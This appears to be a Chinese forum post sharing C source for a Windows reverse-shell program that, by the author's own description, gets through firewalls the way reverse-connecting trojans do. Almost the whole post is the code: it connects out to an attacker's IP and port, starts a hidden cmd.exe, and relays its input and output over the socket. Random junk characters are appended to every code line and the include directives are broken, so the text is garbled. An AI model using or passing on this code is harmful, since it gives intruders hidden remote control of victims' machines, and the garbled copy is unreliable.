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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2&f=4b`Z  
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/* ============================== g wiC ,  
Rebound port in Windows NT U`4Z j1y  
By wind,2006/7 IHMyP~{  
===============================*/ EHM 7=|#  
#include 2Rp{]s$jo  
#include AhZ  
c oz}VMp  
#pragma comment(lib,"wsock32.lib") ]OUOL/J  
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void OutputShell(); X)+sHcE~#  
SOCKET sClient; vPq\reKe  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W@}5e-q)O  
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void main(int argc,char **argv) )bg,rESM  
{ Jg6[/7*m  
WSADATA stWsaData; x%7x^]$  
int nRet; f6C+2L+Hr  
SOCKADDR_IN stSaiClient,stSaiServer; Re ur#K  
bL[W.O0  
if(argc != 3) W8rn8Rh  
{ .`=PE&xq  
printf("Useage:\n\rRebound DestIP DestPort\n"); JEkVj']?  
return; 9r*T3=u.S  
} D[y|y 3F  
3&2q\]Y,  
WSAStartup(MAKEWORD(2,2),&stWsaData); b,A1(_pzi  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B{KD  ]  
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stSaiClient.sin_family = AF_INET; dgD%I  
stSaiClient.sin_port = htons(0); /T(~T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3c6)  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) } ~bOP^'  
{ ar}759  
printf("Bind Socket Failed!\n"); -"L6^IH7  
return; &y?B&4|hM  
} 8TvPCZ$x  
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stSaiServer.sin_family = AF_INET; A84HaRlkF5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aN3{\^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {q4"x5|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $ wB  
{ 6&T1 ZY`  
printf("Connect Error!"); #XPU$=  
return; #| Po&yu4R  
} C5 !n {  
OutputShell(); R>q'Ymu~  
} /_(Dq8^g@  
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void OutputShell() V> SA3  
{ (*gpa:Sc  
char szBuff[1024]; &6EfybAt^_  
SECURITY_ATTRIBUTES stSecurityAttributes; )HE yTHLtJ  
OSVERSIONINFO stOsversionInfo; > `M\xt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S>Y?QQ3#wp  
STARTUPINFO stStartupInfo; +[DVD  
char *szShell; gk` .8o  
PROCESS_INFORMATION stProcessInformation; ugP R)tDfM  
unsigned long lBytesRead; ?[">%^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n-_w0Y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pn|{P<b\  
stSecurityAttributes.lpSecurityDescriptor = 0; "de:plMofy  
stSecurityAttributes.bInheritHandle = TRUE; vt,X:3  
iiscm\  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S3f BZIPp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `#bcoK5  
WI3!?>d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j>23QPG`6U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KS_d5NvYl  
stStartupInfo.wShowWindow = SW_HIDE; Q0-~&e_'  
stStartupInfo.hStdInput = hReadPipe; PGGJpD?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JTJ4a8DE  
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GetVersionEx(&stOsversionInfo); hSH-Ck@Qy  
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switch(stOsversionInfo.dwPlatformId) L|?tcic  
{ x.RZ!V-  
case 1: Q1yTDJ(2  
szShell = "command.com"; C5z4%,`f  
break; Y._AzJ&B[  
default: Rz]bCiD3 B  
szShell = "cmd.exe"; -9EbU7>!  
break; *<1m 2t>.  
} c,^-nH'X>  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CqV \:50g  
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send(sClient,szMsg,77,0); hZy*E[i  
while(1) 3t'K@W?AJh  
{ 5KzU&!Zh9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kE}?"<l  
if(lBytesRead) x uF_^  
{ %LyB~X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  |QdS;  
send(sClient,szBuff,lBytesRead,0); WRCi!  
} teb(\% ,  
else >qla,}x  
{ dXhV]xK  
lBytesRead=recv(sClient,szBuff,1024,0); KtE`L4tW6  
if(lBytesRead<=0) break; /~:ztv\$M"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 78wcMQNX9  
} Kt(p|  
} q$P"o].EK  
paY%pU  
return; @z.!Dby  
}
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